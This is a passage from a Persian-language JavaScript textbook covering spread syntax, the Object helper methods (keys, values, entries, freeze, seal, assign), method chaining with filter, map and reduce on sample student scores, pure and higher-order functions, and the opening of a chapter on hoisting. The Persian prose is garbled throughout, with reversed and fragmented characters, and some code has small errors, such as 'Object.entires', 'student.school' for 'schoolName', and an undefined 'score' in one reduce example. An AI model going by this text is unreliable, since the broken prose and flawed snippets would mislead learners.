ن وشیم ر ارکت د وجوم یاه سی د نا یو ر ر ب ع ب ا وت ن یا نوچ ، م ی ن کیم هد افت سا filter ا ی و forEach .د وشی من ار ج ا ز ی ن ام callback ع بات ، د ر ا د ن د وجو یس ی د نا ر د و د ر اد م ا ن spread operator هک تسا ES6 ر د ه دش ه ئا ر ا یاه رگلم ع ز ا یکی ز ا هد افت سا ل ح ها ر ر یغتم ز ا لب ق )هطقن هس( … ن داد ر ار ق اب یگژ یو نیا .می وشیم ا ن شآ نآ اب رتش یب ید ع ب یاه ش خب :ل اثم ی ار ب . د وشیم رظن د روم ش خب ر د ر یغتم نآ ر صا ن ع م ا مت یر یگر ار ق ث عاب iterate ل باق const arraySpread = [...Array( 10 )]; console .log(arraySpread); /* { 0: undefined, 1: undefined, 2: undefined, ... 9: undefined, length: 10 } */ spread تروص هب نوچ ، د وب د ن ه ا و خ یع ق او لک ش هب ه دش هت خ ا س هیا رآ ر صا ن ع ، ق و ف دک ی ار ج ا اب ا ر ه یا رآ لا اب ه بتر م ع ب ا وت ز ا هد افت سا اب یگ د ا س ه ب ن ا وتیم ن لاا ، د ن وشیم هتخ ی ر رگید یاهیا رآ ر د .در ک یه د ر ا د ق م و شی ا م ی پ 94 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","[ اه object ی در بر ا ک عباوت د و به ب هب د ننا وتیم هک اه object ز ا در براک رپ و مه م ع ب ا وت ی رس کی م یه ا و خی م ش خب ن یا ر د .م یه د هئا ر ا ، د نن ک کم ک رتعیرس و رته ب یس ی و ن دک اب ا ر ) properties (ه دش ه ئا ر ا object یاهیگژ یو ی اه م ا ن ز ا یاهیا رآ ،دتم ن یا : Object.keys حرط م object ندش رپ ب یت رت هقل ح ن یا ر د . د نادر گیم زاب for...in هقل ح ر د د وجوم ب یت رت نا م ه م ا مت ز ا ن ا وتیم ، تسا هیا رآ دتم ن یا ی جو رخ نوچ . 1 تسا مه م iterate ه و حن هکل ب دشابی من :ل اثم ی ار ب . در ک هد افت سا نآ یور ر ب اهه یا رآ یاهدتم و اهیگژ یو const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; console .log( Object .keys(user)); /* [ “name”, “age”, “married” , “favoriteColors” ] */ توافت ن یا اب ،دشابیم Object.keys دتم هبا ش م ا بیرقت ، دتم ن یا در کراک : Object.values .د نادر گیم زاب ا ر رظن د روم object یور ر ب د وجوم یاهیگژ یو ) values (رید ا ق م ز ا یاهیا رآ دتم ن یا ه ک .دی ن ک هجوت ص و صخ نیا ر د د ع ب ل اثم هب .دش ده ا و خ هئا ر ا یلص فم ح یضوت یتآ یاه ش خب ر د نآ ندش م ا جنا ه و حن و iterate ثحب م ه رابر د 1 95 مج نپ شخب ","const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; console .log( Object .values(user)); // [“ali”, 32, false , [“green” , “blue”] ] ا ر رظن د روم object رید ا ق م و اهیگژ یو ی اه بتر م جو ز ز ا یاهیا رآ دتم ن یا : Object.entires س ا سار ب و د ر ا د ن ی طا بت ر ا object ندش رپ ه و حن اب ام از ل ا یتش گزاب رید ا ق م ب یت رت هتب ل ا ، د نادر گیم زاب :ل اثم .دش ده ا و خ هداد تش گزاب نآ iterate ه و حن const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; Object .entries(user); /* [ [“name”, “ali”] [“age”, 32] [“married”, false] [“favoriteColors”, [“green” , “blue”]] length: 4 ] */ یار ب دتم ن یا ، دی نز ب س دح ا ر نآ در کراک دتم ن یا ن ا و ن ع ز ا دی نا وتب لا ا مت ح ا : Object.freeze :ل ی ب ق ز ا اهی سرتسد یر س کی object ندش د مجن م اب . دو ریم راک هب object کی ن در ک د مجن م ت یهام ر ییغت و د وجوم یگژ یو ف ذح ، د وجوم یاهیگژ یو رید ا ق م ر ییغت ،نآ هب د ی دج یگژ یو ن دوزفا :ل اثم . د وشیم م ا جنا ل باق ر ی غ object نآ یاهیگژ یو 96 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; Object .freeze(user); user.name = “mehdi” ; // Throws an error user.newProprty = “newValue” ; // Throws an error .د و من هد افت سا isFrozen دتم ز ا ن ا وتیم زی ن object ن د وب د مجن م ی س ر ر ب ی ار ب ه زاج ا ه ک توافت ن یا اب د ن کیم لم ع freeze دتم هب هی ب ش رایسب دتم ن یا : Object.seal ر ییغت ی ار ب طقف یسرتسد نیا هتب ل ا ، ده دی م ا ر object یور ر ب د وجوم یاهیگژ یو رید ا ق م ر ییغت ف ذح د ننا وتی من د وجوم یاهیگژ یو ا ی د وش ض وع د نا وتی من اهیگژ یو ت یهام و دشابیم رید ا ق م :ل اثم . تسا ه دش م وم و ره م رظن د روم object رگید ترا ب ع هب ،د ن وش const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; Object .seal(user); user.name = “mehdi” ; console .log(user.name); // “mehdi” delete user.name; // Throws an error user.newProprty = “newValue” ; // Throws an error هب object د ن چ ا ی کی 2 enumerable یاهیگژ یو م ا مت ن در ک یپک ی ار ب دتم ن یا :Object.assign .د نادر گیم زاب ا ر د صق م object و در یگیم ر ار ق هد افت سا د روم د صق م object کی د وش ه ع لا ط م object یاهیگژ یو ی د ن ب رک ی پ ه ب ط وب ر م ثحب م مود ش خب 2 97 مج نپ شخب ","const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; const newUser = Object .assign({name: “mehdi” , class: “4B” }, user); console .log(newUser.class); // “4B” console .log(newUser.name); // “ali” ت با ث ه ب و هدر ک assign م ه اب ا ر user یار ب رظن د روم object هارم ه هب object کی ام ق و ف دک ر د ل ماش هک د وشیم هت خ ا س ی د ی دج object ص ی ص خت ن یا م ا جنا اب ، میاهداد ص ی ص خت newUser .د وب ده ا و خ object ود ر ه یاهیگژ یو م ا مت ییلا اب ت ی م ه ا ه ک ، تسا assign دتم هب ءایش ا هئا ر ا ب یت رت ،د ر اد د وجو ق و ف ل اثم ر د ه ک یدی ل ک هت کن نتفر گ ر ار ق د وجو اب ، object ود ر ه ز ا رظن د روم یاهیگژ یو ندش assign ز ا سپ ، دی ن ک ت ق د ر گ ا ،د ر اد نیا ل یل د .تسا ر ب ار ب ali ر ا د ق م اب زو ن ه نآ ر ا د ق م ، ه دش هداد هئا ر ا object ود ر ه ر د name یگژ یو نآ هب ا ر یه د ر ا د ق م تی ولو ا ه ک دشابیم رت م ا را پ ن یمو د ر د user هب ط وب ر م object نتفر گ ر ار ق ر م ا :د وب ده ا و خ توافتم دک یجو رخ ،م یه د ر ییغت ا ر ب یت رت نیا ر گ ا ،تسا هداد const user = { name: “ali” , age: 32 , married: false , favoriteColors: [ “green” , “blue” ] }; const newUser = Object .assign(user , {name: “mehdi” , class: “4B” }); console .log(newUser.name); // “mehdi” نیا و دشابیم object نیمو د ر د نآ ر ا د ق م اب ر ب ار ب name یگژ یو ر ا د ق م هک م ی ن کیم ه دها ش م .دشابیم ندش assign یار ب ءایش ا هئا ر ا ر د ی د ن ب تی ولو ا ر ی ث ات ه د ن ه د نا شن ع وضوم 98 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","[ object ی ر ب ثرا یر ب ث ر ا رگید object کی ز ا ل ق ا دح ضرف ش ی پ تروص هب ت پ یرکساو اج یاه object هم ه راک هب رجت ر گ ا . دشابیم دل او ع ب ا وت ا ی و اهیگژ یو یرس کی نت ش اد ینع م هب 3 یر ب ث ر ا م و ه فم ،د ن ر اد یم ک ت پ یرکساو اج اب راک م ا گن ه ر د تسا نکم م ،دیشاب هتش اد ا ر java ا ی C++ د نن ام ی ی اهنابز اب ات هت ب ل ا( د ی ر ا د ن راک و رس class م ا ن ه ب یدی ل ک ه مل ک اب ضرف ش ی پ تروص هب هک ار چ ،د ی وش م گر درس ،دی ن ک د ا جیا ا ر د و خ رظن د روم ی ر ب ث ر ا دی نا وتیم prototype ز ا هد افت سا اب و )ES6 ه خس ن ز ا لب ق .دی ن ک ه ع لا ط م دی نا وتیم هک تسا ه دمآ لب ق ش خب ر د prototype ه رابر د یلص فم تا ح یضوت [ ) method chaining( اه دت م ی ر یجن ز ین او خ ا رف یاهه ن اخباتک هتسه ی س ر ر ب هب ا ی و دیشاب یتپ یرکساو اج یاهد نرت ن در ک ل ا بند ر ا د فر ط ر گ ا یاهدتم ی اهر ی جن ز ن د ز ا دص اب لا ا مت ح ا ، دیشاب هتش اد ه ق لا ع ت پ یرکساو اج اب ه دش هتشو ن ش خب ن یا ر د . دیشاب هدر ک هد افت سا نآ ز ا تسا نکم م یتح ا ی و د یاهت ش اد د رو خر ب ت پ یرکساو اج ت پ یرکساو اج ی لخاد ی اهدتم و ع ب ا وت ز ا یی اه ل اثم س پ س و ه دش ا ن شآ حلاط ص ا نیا م و ه فم اب ا دتب ا د و خ ی اه سلا ک ی ار ب نا ک م ا نیا د ا جیا ه و حن و درم ش م یه ا و خ ر ب ا ر د ن ر اد یاهر ی جن ز ی نا و خارف نا ک م ا ه ک زای ن ش ی پ ل یل د ه ب ( .م یه دی م ر ار ق ی س ر ر ب د روم ا ر م یت خ ومآ ش ی پ ش خب ر د ه ک ی ی اههتس ناد قب ط ) دی ن ک ه ع لا ط م ت ق د ه ب ا ر اه هیا رآ یاهدتم ش خب ص و صخ ه ب ، لب ق ش خب اف ط ل ،ن د وب د ن وش هد ز ا دص object کی یو ر ر ب م ه رس تشپ تروص هب ع بات ن ی د ن چ می ر اد زای ن ،ع ق ا وم ی خر ب ر د م یه ا و خی م و م ی ن کیم راک ی اهیا رآ یور ر ب دی ن ک ضرف ل اثم ی ار ب ، د وش ققح م ص ا خ ف ده کی ات و م ی ن ک ل ا م ع ا رظن د روم ه یا رآ یور ر ب ا ر می دش ا ن شآ اهنآ اب ش خب ن یا ر د ه ک ی ی اهدتم ز ا یدا د عت .م یه د شی ا من ا ر ه ج یت ن هتشو ن ه ک یدک ، م یه د م ا جنا ا ر راک ن یا یاهر ی جن ز ی نا و خارف درکیو ر ز ا هد افت سا نودب م یه ا وخب ر گ ا یدر براک ل اثم کی اب ، در یگیم د و خ ه ب ه دش ر ارکت یر هاظ و ت ش اد ده ا و خ یرتلا اب مج ح ،دش ده ا و خ ره ش کی ین ات سر یب د ن ا زومآ شناد ز ا یت سیل دی ن ک ضرف .در ک دیه ا و خ ک ر د رته ب ه لم ج ن یا م و ه فم .می ر اد د ع ب ل اثم ر د ه دش ه ئا ر ا لک ش هب ی اهیا رآ ب لاق ر د اهنآ ه س ردم ن ا و ن ع هارم ه هب ا ر 3 Inheritance 99 مج نپ شخب ","const students = [ {name: “ali mohammadi” , score: 17 , schoolName: “motahari” }, {name: “ahmad mirzaei” , score: 18 , schoolName: “sayyad” }, {name: “ahmad shirazian” , score: 17 ,schoolName: “ahmadian” }, {name: “reza alavi” , score: 18 , schoolName: “nour” }, {name: “reza jafari” , score: 18 , schoolName: “motahari” }, {name: “ali akhbari” , score: 16 , schoolName: “sayyad” }, {name: “mehrdad kabiri” , score: 18 , schoolName: “motahari” }, //... {name: “alireza kabiri” , score: 18 , schoolName: “alavi” }, {name: “mehran momeni” , score: 18 , schoolName: “ghods” }, {name: “esmaeil nemati” , score: 18 , schoolName: “ahmadian” }, {name: “eisa rezaei” , score: 18 , schoolName: “sayyad” }, {name: “mahmood kamrani” , score: 18 , schoolName: “nour” }, ]; س ا سا ر ب ا ر ی رهط م ه س ردم د نن ام ، س ر ا دم ز ا یکی ن ا زومآ شناد ت ارمن ن ی گن ایم م یه ا وخب ر گ ا فلت خم یاه درکیو ر اب هک د س ریم رظن ه ب هد ا س ات ب س ن یاهل ئسم ، می روایب تس دب 100 ز ا ی رای ع م نیا ه ب ، م ی ن کیم حیرشت د و خ یار ب ا ر زای ن د روم متی رو گ ل ا ا دتب ا .د و من ل ح ا ر ه ل ئسم ن یا ن ا وتیم یزا سا دج ، د وجوم ه یا رآ ز ا ا ر د و خ رظن د روم ه س ردم ن ا زومآ شناد می ر اد زای ن ا دتب ا ر د ه ک تروص .م ی ن ک باسح ا ر نآ نی گن ایم س پ س و هدر ک 100 ز ا یاهرمن ه ب لی د بت ا ر اهنآ ل د ع م س پ س و هدر ک ری ز هبا ش م یدک ، م ی ن ک ار ج ا ا ر متی رو گ ل ا نیا م یه ا وخب for هقل ح ز ا هد افت سا و یتنس درکیو ر اب ر گ ا :م ی ن ک ار ج ا ا ر function getStudentsScoreAverage ( data ) { var sum = 0 ,count = 0 ; for ( var i = 0 ; i < data.length; i++){ if (data[i].schoolName === ‘motahari’ ){ var tempScore = data[i].score; sum += (tempScore * 100 / 20 ); count++; } } return sum/count; } getStudentsScoreAverage(students); // 88.33 100 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","یسک ی ار ب ل مات ی م ک اب نآ ک ر د و ت سی ن ب لاج د ا ی ز دک ن یا ه ک دیشاب قفا وم نم اب زی ن ا م ش لا ا مت ح ا و م یشاب هتش اد نآ ر د یی ا طخ ر گ ا ز ی ن ه د نی آ ر د و تسا هارم ه د ن کیم ه دها ش م ا ر دک راب نیلو ا ه ک رتل ی ف د نن ام ، ق و ف دک یاه ش خب ز ا کی چ یه ه کنیا هولاع ب . د وب ده ا و خ ر ا وش د م ی ن ک ا طخ عف ر م یه ا وخب لا ا مت ح ا سپ .د ر ا د ن د د ج م هد افت سا ت ی ل باق ل د ع م ه بس ا ح م ا ی یرهط م ه س ردم ن ا زومآ شناد ن در ک .ده دی م ه ئا ر ا یرته ب دک یجو رخ ه ک می ر اد ز ی ن یرته ب درکیو ر ز ا هد افت سا اب اهه یا رآ یاهدتم ز ا د و خ ی اههت خ ومآ هب هجوت اب و ه دش حرط م ید ن مزای ن ه ب هجوت اب .م ی ن ک ار ج ا ه دش حرط م ه ل ئسم ی ار ب ی رته ب دک م ی ن کیم ی عس reduce و map و filter ی اهدتم ر ک ذ هس ردم و ض ع ن ا زومآ شناد ت سیل ن د روآ تس دب ی ار ب ه دش ه ئا ر ا ت سیل ن در ک رتل ی ف اب ا دتب ا ر د :م ی ن کیم هد افت سا filter دتم ز ا ه دش var motahariStudents = students.filter(function( student ){ return student.schoolName === ‘motahari’ ; }); console.log(motahariStudents); هس ردم ن ا زومآ شناد ز ا یت سیل هب طقف و هدر ک رتل ی ف ی گ د ا س ه ب ا ر د و خ ت سیل دتم ن یا یار ج ا اب هبس ا ح م 100 ز ا ی رای ع م س ا سا ر ب ا ر ن ا زومآ شناد ل د ع م م یه ا و خی م ل اح ، میاه دی س ر رظن د روم :م ی ن ک هد افت سا map دتم ز ا م ی نا وتیم را کنیا یار ب ، م ی ن ک var scoreBasis = motahariStudents .map(function( student ){ return (student.score * 100) / 20; }); console.log(scoreBasis); ا دی پ ر ییغت ام رظن د روم ر ا د ق م هب ،زومآ شناد ر ه object یاه ل د ع م ق و ف map ع بات ی ار ج ا اب هک یلاحر د میاهت شو ن indent ر ا د ق م کی اب و رتن ی ی ا پ ا ر map دتم ار چ هک دی ن ک لا و س د ی اش .د ن کیم ثح ب تق ی ق ح ر د و تسا ی بو خ لا و س ،م یس ی و ن ب motahariStudents ر یغتم ل با ق م م یتس نا وتیم دتم ی ار ب د ع ب دک ی ار ج ا ز ا سپ ا ر ه ل ئسم ن یا د ی ر ا ذ گ ب . د وب ده ا و خ ع وضوم نی م ه زی ن ام ی ل ص ا .م ی ن ک نایب ن ا زومآ شناد ل د ع م ه بس ا ح م هب ط وب ر م تای لم ع م ا جنا و reduce 101 مج نپ شخب ","scoreBasis // create array to sum,count .reduce(function( [sum , count], score) { return [ sum + score , ++count ]; } , [ 0 , 0 ]) // calculate average with created [sum, count] .reduce(function( sum, count ){ return sum/count; }); ند ید اب د ی اش ، م ی ن کیم هد افت سا ی ز ا وم تروص هب reduce ع بات و د ب یک رت ز ا ،ن ی گن ایم نت فر گ ی ار ب یل ماک حر ش دیشا بن ن ارگن ام ا ، د ی وش ی م گر درس راچ د نآ در کراک د روم ر د و دی ن ک بجعت یم ک ق و ف دک یاه ش خب ی ار ب هک ی ی اهدک ه کت ،م یه دی م ه ئا ر ا رت و ل ج ی م ک ا ر نآ یاه ش خب کت کت در کراک ه و حن ز ا :د وش ل ی مکت اهدتم هر ی جن ز م و ه فم ات م ی ن کیم ل صو م ه هب ا ر میا هت شو ن متی رو گ ل ا فلت خم var studentsScoreAverage= students.filter( function ( student ) { return student.schoolName === ‘motahari’ ; }) .map( function ( student ){ return (student.score * 100 ) / 20 ; }) .reduce( function ( [sum , count], score ) { return [ sum + score , ++count ]; } , [ 0 , 0 ]) .reduce(function( sum, count ){ return sum/count; }); // output: 88.33 102 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","هب ندی س ر ر یسم ر د ا ر د و خ شقن هن و گ چ دک ز ا ش خب ر ه هک م ی ن ک ه دها ش م م ی نا وتیم یگ د ا س ه ب ه دش دیلوت ی اهیا رآ یجو رخ رظن د روم یاهدتم ی اهر ی جن ز ندش ی نا و خارف اب و د ن کیم اف یا ی جو رخ دیلوت بو لط م یجو رخ تی ا هن ر د و در یگیم ر ار ق هد افت سا د روم رگید دتم طس وت ،دتم ر ه طس وت هب زو ن ه ام ا تسا ه دش یزا سا دج یبو خ لک ش هب و د ر اد یبس ا ن م درکلم ع ق و ف دک ه کت .ددر گیم .تسا ه د شن هد افت سا pure 4 ع ب ا وت ز ا ل آ ه د یا لک ش د ا جیا ر ی خ ا ی ت سه ی رهط م ه س ردم و ض ع یزومآ شناد هکنیا یس ر ر ب ی ار ب pure ع بات کی ا دتب ا ر د true یر ا د ق م ،زومآ شناد object کی ز ا ص خ ش م ی دو رو اب ه ر ا و م ه هک تروص ن یا ه ب . م ی ن کیم :دشابیم ی رهط م ه س ردم ر د زومآ شناد نآ تی و ض ع ی س ر ر ب ه ج یت ن ه ک ده دی م تش گزاب false ا ی var isMotahhariStudent = function ( student ){ return student.school === ‘motahari’ ; }; :م یس ی و نی م 100 ز ا ی ر ا د ق م ب سح ر ب ل د ع م ه بس ا ح م ی ار ب ی ع بات س پ س var studentScore = function ( student ){ return (student.score * 100 ) / 20 ; }; یرگید و ن ا زومآ شناد ه دش رتل ی ف دا د عت و ع و مج م ن د روآ تس دب ی ار ب ی کی ،ع بات و د تی ا هن ر د و :اهنآ دا د عت و ت ارمن ع و مج م ه بس ا ح م ی ار ب لوا ع بات ، م یس ی و نی م نی گن ایم ه بس ا ح م ی ار ب var calulateSumAndCount = function ( [sum , count], score ) { return [ sum + score , ++count ]; }; هک تسا یاهرمن مود یدو رو و تسا ر صا ن ع دا د عت و ع و مج م ل ماش ه یا رآ کی ع بات لوا یدو رو تش گزاب ی اهیا رآ ،ی دو رو یاه رت م ا را پ تف ا ی ر د اب . م ی ن ک ل ی خد ت ارمن ع و مج م ه بس ا ح م ر د م یه ا و خی م دا د عت ش مو د سی د نا و یلعف هرمن هف اض ا ه ب ی لب ق یاه هرمن ع و مج م ش لو ا سی د نا ه ک م یه دی م زو ر ب ث عاب ه دش هتشو ن ه ما نر ب ر د هکنیا نودب ،د ن ه دی م تش گزاب ی ن اس کی ی جو رخ ه ر ا و م ه ،ناس کی یدو رو ه ئا ر ا اب هک ی ع ب ا وت 4 .د وش رگید ع ب ا وت ر د هتف ر راک هب رید ا ق م ا ی ی مو م ع یاه ر یغتم ر د ر ییغت د نن ام ) side effect ( یبن اج یضر ا وع 103 مج نپ شخب ","دا د عت و ع و مج م تف ا ی ر د اب ،نی گن ایم ه بس ا ح م ی ار ب ی ع بات لک ش نی م ه هب . تسا ن ا زومآ شناد :م ی ن کیم د ا جیا ری ز لک ش هب ر صا ن ع var getAverage = function ( sum, count ){ return sum/count; }; یلک ش هب ا ر اهدتم ی ر ی جن ز ی نا و خارف ، دک ر د ه دش یح ار ط pure ع ب ا وت یر ا ذ گی اج اب م ی نا وتیم ل اح :م ی ن ک یح ار ط رتهد ا س رایسب var studentsScoreAverage = students .filter(isMotahhariStudent) .map(studentScore) .reduce(calulateSumAndCount , [ 0 , 0 ]) .reduce(getAverage); // output: 88.33 ناگد ننا و خ یار ب رتهد ا س ک ر د نا ک م ا م ه هک تسا ر اد رو خر ب ی ی ا نا و خ و ی گ د ا س تی ا هن ز ا دک ه کت نیا ر د یبن اج هضراع ا ی side effect چ یه و د روآیم م ه ارف ا ر گ ا بید ر د ی گ د ا س نا ک م ا م ه و س رو س .د ن کی من د ا جیا ه ما نر ب ی د اع درکلم ع [ reduce ز ا هتفر شی پ ه دا فت س ا عم ج یاههفیظو هک م یتش اد reduce دتم ز ا یاهتفرش ی پ ا بیرقت هد افت سا ،لب ق ل اثم ر د ر ب نی گن ایم ه بس ا ح م رگید یاهل ح ر م ر د و هل ح ر م کی ر د ا ر اهنآ دا د عت و زومآ شناد ر ه یاه هرمن یاهدتم ش خب ز ا د و خ ی اههت خ ومآ قب ط . ت ش اد ه د ه ع ر ب ا ر اهنآ دا د عت و ت ارمن عم ج ه یا رآ س ا سا ،دشابیم ر ارکت عور ش هیلو ا ر ا د ق م مود رت م ا را پ و ع بات کی لوا رت م ا را پ reduce ع بات د روم ر د ، اهه یا رآ ن ا و ن ع هب ه یا رآ هد افت سا د نن ام ی ی اه ه ت کن و هدرکن ه د ن سب ع وضوم نی م ه هب اه ل اثم ن یا ر د هتب ل ا و initial value ر ا د ق م ن دا د ن س ا پ و reduce دتم نیلو ا ر د ، accumulator نا م ه ا ی total رت م ا را پ مش چ هب reduce دتم نیمو د ر د initial value ن ا و ن ع هب ه یا رآ ر ا د ق م نیلو ا ز ا هد افت سا هج یت ن ر د .م یه دی م حر ش ور دتم و د نیا لص فم تروص هب هم ادا ر د .د رو خی م 104 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","array .reduce( function ( [sum , count], score ) { return [ sum + score , ++count ]; } , [ 0 , 0 ]) .reduce( function ( sum, count ){ return sum/count; }); دی ن کیم رکف لا ا مت ح ا ،د ر اد ه د ه ع ر ب ا ر دا د عت و ع و مج م ن د روآ تس دب هفیظو reduce دتم نیلو ا هل ئسم تروص ر د ام ا ،م ی ن ک هد افت سا رظن د روم ه یا رآ یور ر ب length ز ا م یتس نا وتیم یتح ا ر هب هک زی ن ام و د و بن ح ی ح ص هیلو ا هیا رآ ز ا length ر ا د ق م ،د ند وب ه دش رتل ی ف ن ا زومآ شناد نوچ ، لب ق و م ی ن ک هر ی خذ رگید ر یغتم کی ر د ا ر رتل ی ف هج یت ن و هت س ک ش ا ر اهدتم ز ا هر ی جن ز ن یا م یت سا و خیمن م ا گن ه ر د ،ی گ د ا س ه ب م یت فر گ م ی مصت سپ ،م یه د ه م ادا ا ر راک ی ق بام نآ length نتش اد اب س پ س .م ی ن ک ه بس ا ح م زی ن ا ر ر صا ن ع دا د عت ، sum ید ن ب عم ج نیا ه ب تای لم ع م ا جنا یار ب هک ی ع بات م ی ن کیم ه دها ش م ، reduce دتم نیلو ا ر د رتش یب ندش ق یق د اب ات تسا هتفر گ ه یا رآ کی ،یاهت شر ا ی ید دع هد ا س ر یغتم کی نتفر گ یاج هب ، تسا ه دش ل ا س ر ا دتم هتفگ رگ تشاب نا ا ی accumulator یدو رو ن یا ه ب اح لاط ص ا( دیس ی و ن ب نآ یور ر ب ا ر رظن د روم یات ید و ع و مج م رید ا ق م ی نعی ، ر ا د ق م کی ز ا ش یب یر ا د هگن ه ب ع بات زای ن ،هیا رآ ز ا هد افت سا ل یل د .)د وشیم یروآ د ا ی اد د ج م ا ر reduce دتم رات خ ا س .م ی ن ک یر ا د هگن رگت شا بنا ر د م یه ا و خی م هک دشابیم دا د عت :م ی ن کیم .reduce( function ( accumulator , current ) { // code }, initialValue); نیا رت م ا را پ ن یلو ا ه ک تسا نیا ،د وشیم هت فر گ راک هب دتم ن یا د روم ر د ه ا بت ش ا ه ب ار ثک ا ه ک ی اهل ئسم رت م ا را پ ن یمو د ر د هخر چ ر ه ی لعف ر ا د ق م ه یا رآ ر صا ن ع یور ر ب ر ارکت م ا گن ه ر د و تسا رگت شا بنا دتم ا ر یراج ر ا د ق م رت م ا را پ ن یلو ا ار ثک ا ، اهه یا رآ رگید ی اهدتم د روم ر د هک یلاح ر د ،در یگیم ر ار ق ع بات .د ن کیم یر ا د هگن هب ا ر accumulator هیا رآ راب ر ه و دشابیم رات خ ا س ن ی م ه اب ا ق یق د ز ی ن ه دش هد ز ل اثم دک ه ن و من .د ن کیم زور 105 مج نپ شخب ",".reduce( function ( [sum , count] , current ) { return [ sum + score , ++count ]; } , [ 0 , 0 ]); تسا ه دش ه بس ا ح م count و sum ش ز ادرپ قیر ط ز ا ه ک ،ه یا رآ کی ی گ د ا س ه ب زی ن ع بات ه ن دب لخاد ر د رصن ع هک د وب ده ا و خ هیا رآ کی دتم ش ز ادرپ م ا متا ز ا سپ راک یجو رخ هج یت ن ،د وشیم هداد تش گزاب دتم مود ینا و خارف ر د یت ح ا ر هب سپ ، دشابیم اهنآ دا د عت ش مو د رصن ع و رید ا ق م ع و مج م نآ لوا سی د نا ود یا ر اد( تسا ن ی گن ایم ه بس ا ح م هد امآ لا ماک هک ا ر ه دش هت خ ا س هیا رآ م ی نا وتیم reduce نی گن ایم ر ا د ق م هب هد ا س م یس قت کی م ا جنا اب ، )تسا ر صا ن ع دا د عت ی مو د و ع و مج م یلو ا ه ک ت سه :م ی ن ک لی د بت رظن د روم .reduce( function ( sum, count ){ return sum/count; }); [ ) Higher order functions( ر تلا ا ب هب ت رم عباوت هک یلاثم نی م ه م ی ی و گ ب ر گ ا ی لو دشاب ک ا نسرت نات یار ب ی م ک د ی اش رتلا اب ه بتر م ع ب ا وت م و ه فم د وب HigherOrderFunctions رگید یت را ب ع هب ا ی لا اب ه بتر م ع ب ا وت در کراک ز ا ی لاثم ه ن و من میدر ک ل ح ر ب و د نن کیم تف ا ی ر د ع بات تروص هب ی دو رو رت م ا را پ کی ه ک ی ع ب ا وت ، تق ی ق ح ر د ، دی ن ک بجعت د ی اش .م یما نی م رتلا اب ه بتر م ع ب ا وت ا ر د ن ه دی م م ا جنا یت ای لم ع نآ یور د روم هفیظو م ا جنا یار ب هک ،د نت سه رتلا اب ه بتر م در براک اب ع ب ا وت ز ا ی اهه ن و من reduce ا ی رتل ی ف ع بات ج را خ رگید ی لاثم ن ا و ن ع هب ، م یه د س ا پ ع بات نآ هب ی دو رو ن ا و ن ع هب ا ر ی ع بات هک د ن ر اد زای ن ،د و خ رظن :دی ن ک ه دها ش م ا ر ری ز دک ه کت اهه یا رآ ثح ب ز ا 106 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","var sayName = function ( name ){ console .log( “Name: “ + name); } function manageList ( list , func ) { list.forEach(func); } manageList( [ “ali” , “reza” , “karim” ] , sayName ); تای لم ع ی ار ج ا کی طقف ه ک sayName ع بات ه ئا ر ا ه ب یموزل هچ هک دی ن ک لا و س تسا نکم م ع بات لخاد ر د م یتس نا وتیم و د وب رگید دتم کی ب لاق ر د ،د ر اد ه د ه ع ر ب ا ر console.log هب ط وب ر م یتبا ث و هد ا س در کراک manageList ع بات هک تسا نیا ر د توافت ؟ م یس ی و ن ب ا ر دک نا م ه manageList ن ا و ن ع هب ی رگید ع بات ر ه تف ا ی ر د اب د نا وتیم هک )ت سیل کی ر صا ن ع یور ر ب ع بات کی ل ا م ع ا(د ر اد ه دش ه ئا ر ا ت سیل ر د د وجوم ر صا ن ع کت کت یو ر ر ب ا ر ی دو رو ع بات ر د ه دش فیرعت تای لم ع ،ی دو رو .د ن ک ار ج ا 107 مج نپ شخب ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دیشاب هت خ ا ن ش ا ر اه ه یا رآ اب راک ی ار ب نآ ز ا هد افت سا یی ا نا وت و اهه یا رآ در براک رپ ی اهدتم .دیشاب هتش اد ی لو مع م ه یا رآ اب نآ یاهتوافت و ه یا رآ ه ب ش ز ا یل ماک ک ر د .دیشاب هتش اد ا ر ه یا رآ ه د ن زا س دتم و array.of , array.from ز ا هد افت سا یی ا نا وت .دیشاب هدر ک ک ر د ا ر فلت خم یاه ه ویش اب ه یا رآ تخ ا س ی اهتوافت .دیشاب ه دش ا ن شآ object تیری دم ی ار ب اهنآ ز ا هد افت سا و اه object یدی ل ک ع ب ا وت اب .دی ن ک یس ی و ن دک رات خ ا س نیا ز ا هد افت سا اب دی نا وتب و هد وب ا ن شآ method chaining م و ه فم اب هد افت سا و ر ش ی پ لئ اسم ل ح ی ار ب نآ ز ا و هدر ک ک ر د ا ر higher order function م و ه فم .دی ن ک 108 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","مشش شخب strict ت ل اح و hoisting ∞ :شخب فادها hoisting موه فم اب ییانشآ hoisting ی ا ه تی ول و ا کرد strict mode اب ییانشآ همانرب یا رج ا رد strict mode تا ر ی ثا ت کرد strict ت ل ا ح رد scope اب ییانشآ strict mode ت ل ا ح ز ا حی حص هد افتس ا strict ت ل ا ح رد س ا سح دراو م کرد ","[ ) Hoisting ( نت ش ا رف ا ر ب هک دشابیم ع ب ا وت و اه ر یغتم فی را عت اب د و خر ب ه و حن ر د ب لاج یاه مز ی ن ا ک م ز ا یکی ی گ ریو نیا یلو دی ن ک هد افت سا x ع بات ز ا ر گ ا ا م ش ل اثم ی ار ب ،ده دی م ل ا قتنا دک ی لا اب هب ا ر اهنآ ندش ی فرع م یی ا طخ و د ر ا د ن ه ی ض ق ن یا اب ی لکش م چ یه ت پ یرکساو اج دی ن ک فیرعت ه ما نر ب یا هتنا ر د ا ر ع بات نآ .داد ده ا وخ ن خ ر یزا س هد امآ ی ار ب لی اپماک هب یزای ن ت پ یرکساو اج نوچ ، م یه د ح یضوت م یه ا وخب ر گ ا ینف ظ 